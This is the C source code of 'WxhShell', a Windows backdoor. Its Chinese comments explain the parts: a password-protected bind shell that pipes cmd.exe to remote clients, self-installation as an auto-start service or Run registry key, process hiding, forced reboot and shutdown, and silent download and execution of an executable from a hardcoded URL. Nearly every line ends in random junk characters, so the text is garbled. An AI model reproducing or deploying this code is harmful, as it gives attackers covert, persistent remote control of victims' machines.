    closesocket(wsh); Xig%Q~oMp  
    ExitThread(0); (,HA Os  
    } ("wPkm^  
    break; LTG/gif[u  
    } wHdq:,0-!  
  // 获取shell !dGy"-i$h  
  case 's': { iQS?LksQX  
    CmdShell(wsh); m&b!\"0  
    closesocket(wsh); !j [U  
    ExitThread(0); s|YY i~  
    break; Oxy. V+R  
  } @~/LsYA:  
  // 退出 %5jxq9:K  
  case 'x': { yP~D."  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,NKDEcw]  
    CloseIt(wsh); "0n to+v  
    break; ^i#F+Q`1  
    } h?fv:^vSi  
  // 离开 v:<u0B-)$  
  case 'q': { ]'M Ly#9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); D6c4tA^EO  
    closesocket(wsh); 5zfPh`U>1  
    WSACleanup(); ( 8k3z`  
    exit(1); |\Jpjm)?  
    break; ln#Lx&r;|  
        } 866n{lyL  
  } wIL5-k,  
  } yAXw?z!`O  
.,UpI|b  
  // 提示信息 `fc2vaSH =  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?ZE1>L7e  
} tJ[Hcx*N  
  } "P'W@  
M%sWtgw(  
  return; VI[ikNpX  
} XEY((VL0  
\"5%w *vl  
// shell模块句柄 X{<j%PdC  
int CmdShell(SOCKET sock) d|w% F=  
{ cPkN)+K  
STARTUPINFO si; ci6j"nKci  
ZeroMemory(&si,sizeof(si)); bsR&%C  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; s0qA8`Yu  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; jvCk+n[  
PROCESS_INFORMATION ProcessInfo; )nTOIfP2  
char cmdline[]="cmd"; ?UQE;0 B  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \c_1uDRoUn  
  return 0; VctAQ|h^  
} g_5:o 3s  
-D`*$rp,  
// 自身启动模式 zf4@:GM`  
int StartFromService(void) LH3PgGi,  
{ ;HgV(d#X  
typedef struct C$-IDBXK  
{ O5LB&s   
  DWORD ExitStatus; Ik(TII_  
  DWORD PebBaseAddress; 7P.C~,+D%P  
  DWORD AffinityMask; f'TdYG  
  DWORD BasePriority; Tr-gdX ;  
  ULONG UniqueProcessId; zgJ%Zr!~  
  ULONG InheritedFromUniqueProcessId; w-"o?;)a  
}   PROCESS_BASIC_INFORMATION; Y*dzoN.sW  
vB#&XK.aW  
PROCNTQSIP NtQueryInformationProcess; CT6a  
I.euuzBgA  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; K9;pX2^z9  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; qR--lvO  
#,0%g 1  
  HANDLE             hProcess; $7T3wv9  
  PROCESS_BASIC_INFORMATION pbi; '/Hx0]V  
L/_OgL]YdI  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^$4d'  
  if(NULL == hInst ) return 0; |l 03,dOF  
bYYyXM  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?*tb|AL(R  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); w q% 4'(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); eZ(<hE>  
YJ'h=!p}G  
  if (!NtQueryInformationProcess) return 0; "Rf8#\Y/<  
6NVf&;laQ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); AL>*Vj2h/n  
  if(!hProcess) return 0; ^^qB=N[';  
$21+6  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9_n!.zA<  
+FP*RNM  
  CloseHandle(hProcess); 1NtN-o)N?  
\`-/\N  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Ysz{~E'  
if(hProcess==NULL) return 0; (A}##h  
FYFP 6ti  
HMODULE hMod; /8VM.fr$  
char procName[255]; ]s ?BwLU6  
unsigned long cbNeeded; U+3,(O  
c^S^"M|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); a)$"   
*Em 9R  
  CloseHandle(hProcess); rhO ]4A  
Uc/MPCqZ  
if(strstr(procName,"services")) return 1; // 以服务启动 RLOB  
8l-+ 4~mH  
  return 0; // 注册表启动 "45O!AjP  
} lR\=] ]7I>  
3/RmJ `c{  
// 主模块 8zS't2 u  
int StartWxhshell(LPSTR lpCmdLine) 6TvlK*<r=  
{ $`W .9  
  SOCKET wsl; v|C)Q %v  
BOOL val=TRUE; axW3#3#`  
  int port=0; *G7$wW:?  
  struct sockaddr_in door; 4# MvOjA5[  
??5qR8n.  
  if(wscfg.ws_autoins) Install(); 4h\MSTF*  
4J Bm|Pf(  
port=atoi(lpCmdLine);  +ulBy  
L!x7]g,^  
if(port<=0) port=wscfg.ws_port; n|dLK.Q  
^B8%Re%  
  WSADATA data; !:PF |dZ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; pRe, B'&  
|q"WJQ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   SUsD)!u_H  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Wu(6FQ`H  
  door.sin_family = AF_INET; 3YVG|Bc~_  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); h4N!zj[  
  door.sin_port = htons(port); 9 =7),`$  
%B5.zs]Of  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &@u;xc| v  
closesocket(wsl); C8>zr6)1  
return 1; L\|p8jJ  
} R h zf.kp  
iK8aj)%Q@  
  if(listen(wsl,2) == INVALID_SOCKET) { Is&z~Xy/  
closesocket(wsl); zc>/1>?M  
return 1; GzxtC  &  
} Bh$ hgf.C  
  Wxhshell(wsl); *jM~VTXwt  
  WSACleanup(); p!BZTwP  
]`)50\pdw  
return 0; NPc]/n?vDj  
xtMN<4#E  
} 0j\?zt?  
fYU/Jn#  
// 以NT服务方式启动 j_Pt8{[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &0Yv*,4]  
{ v1%rlP  
DWORD   status = 0; ieXhOA  
  DWORD   specificError = 0xfffffff; | Z'NMJU  
aTF~rAne<  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 1Y!" C  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; N)|mA)S)  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }mQ7N&cC  
  serviceStatus.dwWin32ExitCode     = 0; W<C \g~\  
  serviceStatus.dwServiceSpecificExitCode = 0; .|`J S?L[  
  serviceStatus.dwCheckPoint       = 0; yk OJhd3  
  serviceStatus.dwWaitHint       = 0; m`C c U`s  
?n<b:oO  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }z:g}".4  
  if (hServiceStatusHandle==0) return; Z ? `  
Sn=|Q4ZN  
status = GetLastError(); "\M16N  
  if (status!=NO_ERROR) 8?#4<4Ql8  
{ ^Uss?)jN4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =c>2d.^l  
    serviceStatus.dwCheckPoint       = 0; (PAkKY}  
    serviceStatus.dwWaitHint       = 0; \cmt'b  
    serviceStatus.dwWin32ExitCode     = status; >a7'_n_o  
    serviceStatus.dwServiceSpecificExitCode = specificError; 1M+o7HO.mG  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4TcKs}z  
    return; FG]xn(E  
  } Wm>[5h%>  
?oF+?l  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; pJ35M  
  serviceStatus.dwCheckPoint       = 0; e aLSq  
  serviceStatus.dwWaitHint       = 0; ;mH O#  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Tbv", b  
} *6D0>F  
'L|& qy@  
// 处理NT服务事件,比如:启动、停止 a9S0glbwf  
VOID WINAPI NTServiceHandler(DWORD fdwControl) d l_ h0  
{ %xZYIY Kf  
switch(fdwControl) -U/"eVM  
{ s;V~dxAiv  
case SERVICE_CONTROL_STOP: l_tr,3_w  
  serviceStatus.dwWin32ExitCode = 0; R~OameRR  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Za68V/Vj  
  serviceStatus.dwCheckPoint   = 0; :xOne<@  
  serviceStatus.dwWaitHint     = 0; rMRM*`Q2  
  { OUCL tn\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0kxo  
  } u!I Es  
  return; JGQlx-qv  
case SERVICE_CONTROL_PAUSE: EC(,-sz\Z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; PwP;+R};|  
  break; umPd+5i  
case SERVICE_CONTROL_CONTINUE: Cm@e^l!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; d%1Tv1={  
  break; 9))E\U  
case SERVICE_CONTROL_INTERROGATE: xs+pCK|  
  break; _'pow&w~  
}; -*xm<R],  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); o5=1  
} \Tq !(]o^  
o!:V=F  
// 标准应用程序主函数 y/U(v"'4U  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) N-XOPwx'  
{ 6*yt^[W  
GIXxOea1  
// 获取操作系统版本 k?r -%oJ7  
OsIsNt=GetOsVer(); <T]BSQk  
GetModuleFileName(NULL,ExeFile,MAX_PATH); wz1fx>Q  
[:M:6JJ  
  // 从命令行安装 [O)(0  
  if(strpbrk(lpCmdLine,"iI")) Install(); &!/E&e$_  
q\+khy,k  
  // 下载执行文件 Wp2b*B=-  
if(wscfg.ws_downexe) { }dnO7K  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) U*Q1(C  
  WinExec(wscfg.ws_filenam,SW_HIDE); +/!kL0[v  
} j1/.3\  
[[uKakp  
if(!OsIsNt) { L~x PIu  
// 如果时win9x,隐藏进程并且设置为注册表启动 >K]s)VuWR  
HideProc(); :r5DR`Rfm  
StartWxhshell(lpCmdLine); -+1_ 1!  
} {+D 6o  
else =Xwr*FTr  
  if(StartFromService()) P .I <.e  
  // 以服务方式启动 P-B3<~*i!  
  StartServiceCtrlDispatcher(DispatchTable); 6T3uv,2  
else =&Dt+f&  
  // 普通方式启动 }M3f ?Jv  
  StartWxhshell(lpCmdLine); LjZvWts?  
-P I$SA,  
return 0; Kob i!  
} +7yirp~`K  
6yDc4AX  
:exgdm;N  
sZ~q|}D-  
=========================================== AH*{Bi[vX  
~!PAs_O  
?-'m#5i"  
ZkbaUIQ  
=+I~K'2  
&G#LQl  
" )SkJgzvC  
m 2tw[6M  
#include <stdio.h> a/})X[2  
#include <string.h> Cxn<#Kf\-<  
#include <windows.h> e_eNtVq  
#include <winsock2.h> N?Wx-pK  
#include <winsvc.h> _e2=BE`W)  
#include <urlmon.h> aT9+] Ig  
608}-J=3#  
#pragma comment (lib, "Ws2_32.lib") <Mdyz!  
#pragma comment (lib, "urlmon.lib") KyQO>g{R  
,tt .oF|  
#define MAX_USER   100 // 最大客户端连接数 (#|CL/&  
#define BUF_SOCK   200 // sock buffer pN\YAc*@:  
#define KEY_BUFF   255 // 输入 buffer M4%u~Z:4h+  
M%*D}s-QE  
#define REBOOT     0   // 重启 ld RV JVZc  
#define SHUTDOWN   1   // 关机 (lNV\Za  
hDO\Q7  
#define DEF_PORT   5000 // 监听端口 ny(`An  
nFRU-D$7  
#define REG_LEN     16   // 注册表键长度 4*j6~  
#define SVC_LEN     80   // NT服务名长度 79DzrLu  
#3b_ #+,  
// 从dll定义API h=:*cqp4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {ylY"FA  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); xiWP^dIF  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); HDmjt+3&n  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8R3x74fL  
uX.^zg]}%  
// wxhshell配置信息 |4$.mb.  
struct WSCFG { iy<|<*s2D  
  int ws_port;         // 监听端口 lpjeEaw o4  
  char ws_passstr[REG_LEN]; // 口令 [`F}<L."  
  int ws_autoins;       // 安装标记, 1=yes 0=no r JvtE}x1  
  char ws_regname[REG_LEN]; // 注册表键名  X.q,  
  char ws_svcname[REG_LEN]; // 服务名 J AQ y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~CtLSyB  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @r.w+E=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 lx'^vK%F  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [~aRA'qJ{V  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" m1 tYDZ"i  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 h_( #U)z_3  
C`J>Gm  
}; K@f@vyw]  
As}e I!  
// default Wxhshell configuration Bf21u 9  
struct WSCFG wscfg={DEF_PORT, 9}[UZN6  
    "xuhuanlingzhe", 7J[DD5  
    1, J1s~w`,  
    "Wxhshell", wV604eO(  
    "Wxhshell", 3} 7`?$ 5  
            "WxhShell Service", Lhts4D/V7  
    "Wrsky Windows CmdShell Service", zu,F 0;De  
    "Please Input Your Password: ", Qm"&=<  
  1, H|.cD)&eYy  
  "http://www.wrsky.com/wxhshell.exe", 8 t)?$j$  
  "Wxhshell.exe" F3?PlH:Y  
    }; D<QE?:#  
'^{:HR#i  
// 消息定义模块 -MK9IO]i  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; S"@/F- 81  
char *msg_ws_prompt="\n\r? for help\n\r#>"; j;MQ_?"iN  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2Y7u M;8  
char *msg_ws_ext="\n\rExit."; *el~sor;S  
char *msg_ws_end="\n\rQuit."; ppP0W `p  
char *msg_ws_boot="\n\rReboot..."; G<$ N*3  
char *msg_ws_poff="\n\rShutdown..."; t:O"t G  
char *msg_ws_down="\n\rSave to "; joRrsxFU  
:~{Nf-y0`1  
char *msg_ws_err="\n\rErr!"; ^[6S]Ft(  
char *msg_ws_ok="\n\rOK!"; <2V:tj)?P  
+F4SU(T  
char ExeFile[MAX_PATH]; 6Mj (B*c  
int nUser = 0; [0?W>A*h  
HANDLE handles[MAX_USER]; ,J4rKGG  
int OsIsNt; TPF5?  
c+:XaDS-  
SERVICE_STATUS       serviceStatus; W7` fI*lc  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; PB(q9gf"1}  
pQNTN.L9NZ  
// 函数声明 ED;rp 9(  
int Install(void); _/5#A+ ?  
int Uninstall(void); y2o~~te  
int DownloadFile(char *sURL, SOCKET wsh); |[W7&@hF  
int Boot(int flag); *DcB?8%  
void HideProc(void); !de`K |  
int GetOsVer(void); MJM<  
int Wxhshell(SOCKET wsl); 6%B)  
void TalkWithClient(void *cs); U~GQ JR  
int CmdShell(SOCKET sock); NZL$#bRB  
int StartFromService(void); VK>Cf>  
int StartWxhshell(LPSTR lpCmdLine); >3?p23|;  
$.F.xYS9IJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]2   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); KL\hV .6  
!Z!X]F-fY  
// 数据结构和表定义 a{@gzB  
SERVICE_TABLE_ENTRY DispatchTable[] =  va [r~  
{ ZZ324UuATX  
{wscfg.ws_svcname, NTServiceMain}, 8)ykXx/f@  
{NULL, NULL} +A-z>T(  
}; ^N&@7s  
=mYwO=:D  
// 自我安装 U BWUq  
int Install(void) f;=<$Y>i  
{ eXAJ%^iD  
  char svExeFile[MAX_PATH]; yi;pn Z  
  HKEY key; NHQi_U  
  strcpy(svExeFile,ExeFile); rHp2I6.0a  
Bp-e< :  
// 如果是win9x系统,修改注册表设为自启动 )dfwYS*[n  
if(!OsIsNt) { -oT3`d3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hf\/2Vl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lw43|_'G-t  
  RegCloseKey(key); )?{jD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \IP 9EFA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T h!;zu^t  
  RegCloseKey(key); +-:o+S`q~  
  return 0; oV'G67W  
    } 4x-K0  
  } lx<!*2 -^  
} 9~{,Hj1xE  
else { hr W2#v  
lkW5<s_  
// 如果是NT以上系统,安装为系统服务 <~zPt&C]V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %.WW-S3  
if (schSCManager!=0) OCELG~  
{ @^.o8+Pp  
  SC_HANDLE schService = CreateService C@WdPjxj  
  ( E?FUr?-[  
  schSCManager, "j8`)XXa(  
  wscfg.ws_svcname, cAq5vAqmg  
  wscfg.ws_svcdisp, p$}/~5b}4  
  SERVICE_ALL_ACCESS, srhI%Zj  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , jAdZS\?w  
  SERVICE_AUTO_START, ue*o>iohB  
  SERVICE_ERROR_NORMAL, .=zBUvy  
  svExeFile, trZU_eouI  
  NULL, q1Ad"rm  
  NULL, * !9=?  
  NULL, )jjL'  
  NULL, %c@PTpAM  
  NULL  Vqr]Ui  
  ); ^% L;FGaA  
  if (schService!=0) DWS#q|j`"  
  { Xp9] 9H.  
  CloseServiceHandle(schService); eV"s5X[$  
  CloseServiceHandle(schSCManager); z.^_;Vql_  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Q <ulh s  
  strcat(svExeFile,wscfg.ws_svcname); A 8g_BLj!e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \U<d)j/  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); n#sK31;yb  
  RegCloseKey(key); Wm4C(y@  
  return 0; V\AY=u  
    } ^VEaOKMr  
  } c-"vQ>ux+  
  CloseServiceHandle(schSCManager); [?bq4u`  
} &eb8k2S  
} CwD=nT5`  
`I8ep=VZ  
return 1; ?6UjD5NkX  
} ] Upr<!  
sL,|+>7T^M  
// 自我卸载 P`avn  
int Uninstall(void) xo4lM  
{ > Edsanx  
  HKEY key; <zm:J4&>T  
r4d#;S9{o  
if(!OsIsNt) { qcC(#0A>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { % K,cGgp^)  
  RegDeleteValue(key,wscfg.ws_regname); 3 2"f'{  
  RegCloseKey(key); @?RaU4e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?_r{G7|D  
  RegDeleteValue(key,wscfg.ws_regname); ?dXAHY  
  RegCloseKey(key); 4C )sjk?m  
  return 0; K'B*D*w  
  } VK!HuO9l  
} ^CgN>-xZ?#  
} ]^8CtgC  
else { Bw~jqDZ}|  
L={\U3 __k  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); rGrR;  
if (schSCManager!=0) L c )i  
{ FzykC  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <oi'yr  
  if (schService!=0) 9GsG*$-I  
  { j#u{(W'r  
  if(DeleteService(schService)!=0) { +d?|R5{3  
  CloseServiceHandle(schService); ohs`[U=%~  
  CloseServiceHandle(schSCManager); ^nK7&]rK  
  return 0; R"l6|9tmP  
  } |Qcj +HH.  
  CloseServiceHandle(schService); +43~4_Oj  
  } s}-j.jzB{  
  CloseServiceHandle(schSCManager); VLVDi>0i  
} SurreD<x  
} /r2S1"(q  
!X||ds  
return 1; ]')y(_{  
} 59p'U/|  
m#R"~ >  
// 从指定url下载文件 @.c[z D  
int DownloadFile(char *sURL, SOCKET wsh) sSc~q+xz  
{ [qxU \OSC  
  HRESULT hr; PVIZ Y^64  
char seps[]= "/"; OjNOvh&N  
char *token; ti$60Up  
char *file; m`):= ^nC  
char myURL[MAX_PATH]; oRJ!TAbD  
char myFILE[MAX_PATH]; C<(qk_  
E 0l&d  
strcpy(myURL,sURL); X @pm!c#  
  token=strtok(myURL,seps); 3)L#V .  
  while(token!=NULL) Ujlbcv6+  
  { iBtG@M  
    file=token; FFcIOn  
  token=strtok(NULL,seps); Rkp +}@Y_  
  } XR 3 dG:  
kM[!UOnC!<  
GetCurrentDirectory(MAX_PATH,myFILE); /9,'.  
strcat(myFILE, "\\"); ^FQn\,  
strcat(myFILE, file);  zY7M]Az  
  send(wsh,myFILE,strlen(myFILE),0); ?m+];SJk  
send(wsh,"...",3,0); 7+}WU4  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ; yE.R[I  
  if(hr==S_OK) mP/#hwzB&q  
return 0; )MLbE-@  
else 4mKH |\g  
return 1; nP<u.{q L  
C9!FnvH  
} }Y|M+0   
$7]?P;$  
// 系统电源模块 M2RkrW#  
int Boot(int flag) ==gL!e{  
{ Nd_A8H,&B  
  HANDLE hToken; AWPgrv/  
  TOKEN_PRIVILEGES tkp; ){z#Y#]dP  
if*~cPnN  
  if(OsIsNt) { n*' :,m  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); k3e6y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "KS" [i!3j  
    tkp.PrivilegeCount = 1; EVBOubV  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; UZmUYSu;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ?'|GGtvm  
if(flag==REBOOT) { 8a]g>g  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =cb!2%?}  
  return 0; nd,\<}uP9  
} J]zhwM  
else { Iw`|,-|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :SW vH-]  
  return 0; |Kjfh};-C  
} KaS*LDzw  
  } US^%pd  
  else { =R 4]Kf  
if(flag==REBOOT) { PFx.uqp  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) I$x<B7U  
  return 0; `QRXQ c  
} 9o6[4Q}  
else { -sdzA6dp  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $)c[FR~a  
  return 0; b/JjA  
} (3Xs  
} BzH0"xq^  
Z__fwv.X[  
return 1; Rq e|7/As  
} ;$1x_ Cb  
V@s93kh  
// win9x进程隐藏模块 P*>?/I`G  
void HideProc(void) ;@Z1y  
{ ^c9_F9N  
=sv?))b`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \CE+P5  
  if ( hKernel != NULL ) <n2'm  
  { #`= >Mza  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :?= 1aiS  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); J7oj@Or9  
    FreeLibrary(hKernel); ,3eN&  
  } C+ Y;D:  
\6.dGKK  
return; cyP+a  
} #*lDKn[vO  
])bgUH  
// 获取操作系统版本 ^jdtp  
int GetOsVer(void) \I/"W#\SJo  
{ fk6=;{  
  OSVERSIONINFO winfo; {iq^CHAVK  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); N%q{CYF6  
  GetVersionEx(&winfo); tn _\E/Q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >ifys)wg>  
  return 1; |0>rojMq  
  else #nft{AN  
  return 0; }weE^9GiJ  
} ._;It198f  
%}-ogi/c  
// 客户端句柄模块 $Jn.rX0}$  
int Wxhshell(SOCKET wsl) 'Z,7{U1P  
{ ) k[XO  
  SOCKET wsh; W>?aZv  
  struct sockaddr_in client; W np[8IEU  
  DWORD myID; 8'fF{C  
k\/es1jOEh  
  while(nUser<MAX_USER) Sx Bo%  
{ j5[ >HL  
  int nSize=sizeof(client); Ln+ k_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); k%-UW%  
  if(wsh==INVALID_SOCKET) return 1; \k6OP  
[AD%8 H  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5 ^l-3s?M  
if(handles[nUser]==0) Z$m&F0g  
  closesocket(wsh); x 0vW9*&  
else I{H!K rM!  
  nUser++; 8Jp?@qt=$  
  } H.l WHM+H4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [!} uj`e  
9WQ'"wyAQ  
  return 0; fHI@' '0  
}  s-&i!d  
QZO<'q`L  
// 关闭 socket L+lye Ir'  
void CloseIt(SOCKET wsh) lD _iIe~c  
{ xs "\c7pC  
closesocket(wsh); -W})<{End  
nUser--; JE$ $6X  
ExitThread(0); u+jx3aP:  
} I3l1 _  
ashVV~\8A  
// 客户端请求句柄 v"J|Ebx  
void TalkWithClient(void *cs) F:0 E- z'  
{ )D]LPCd[  
V|nJ%G\  
  SOCKET wsh=(SOCKET)cs; iq 8Hq)I]  
  char pwd[SVC_LEN]; ,? &$ c+  
  char cmd[KEY_BUFF]; WS@8Z0@RD  
char chr[1]; [{ A5BE -  
int i,j; ??P3gA  
N$Tzxs  
  while (nUser < MAX_USER) { UC00zW<Z@"  
)$2h:dw_  
if(wscfg.ws_passstr) { |l?*' =  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); . ve a[  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U/rFH9e$  
  //ZeroMemory(pwd,KEY_BUFF); IF?  
      i=0; R_:-Z .  
  while(i<SVC_LEN) { J'lqHf$T  
gGbqXG^  
  // 设置超时 5*$z4O:Aa  
  fd_set FdRead; |X~vsM0  
  struct timeval TimeOut; MPsm)jqX  
  FD_ZERO(&FdRead); g8Zf("  
  FD_SET(wsh,&FdRead); h&b s`  
  TimeOut.tv_sec=8; s! sG)AR.J  
  TimeOut.tv_usec=0; x&FBh !5H  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Z2k5qs7g  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `{J(S'a`  
.ldBl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0Jm)2@  
  pwd=chr[0]; 3HX-lg`0  
  if(chr[0]==0xd || chr[0]==0xa) { yf e4}0}  
  pwd=0; Vjr}"K$Y  
  break; bLz('mUY  
  } V%J_iY/BUb  
  i++; 88atj+N]  
    } -/6Ms%O  
{=E,.%8  
  // 如果是非法用户,关闭 socket ]-u>HO g\  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); TJ(vq]|&  
} +r__>V,  
4p`z%U~=u  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,#80`&\%  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8d\/  
x*F_XE1#M  
while(1) { xgB-m[Xi  
DYL\=ya1  
  ZeroMemory(cmd,KEY_BUFF); '\B!1B>T  
0kld77tn 2  
      // 自动支持客户端 telnet标准   lO^YAOY  
  j=0; @LDu08lr  
  while(j<KEY_BUFF) { dIvvJk8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1VO>Bh.Wm  
  cmd[j]=chr[0]; Tn\59 (  
  if(chr[0]==0xa || chr[0]==0xd) { VaylbYUCT/  
  cmd[j]=0; je~gk6}Y  
  break; #N|A@B5 x  
  } UL\gcZ Zkl  
  j++; o_%gFV[q  
    } J k FZd  
j2,w1f}T  
  // 下载文件 *Y9'tHI  
  if(strstr(cmd,"http://")) { Pt %EyFG  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5B+I\f&  
  if(DownloadFile(cmd,wsh)) uze5u\  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); wE09%  
  else Ng<oz*>U  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $3 ~ /H"K  
  } O2>W#7  
  else { T6p2=o&p  
BpZ17"\z  
    switch(cmd[0]) { YXjWk),  
  )1S"D~j-  
  // 帮助 |+(Hia,X  
  case '?': { 8 n)3'ok  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); w `r)B`!g  
    break; 2*@.hBi  
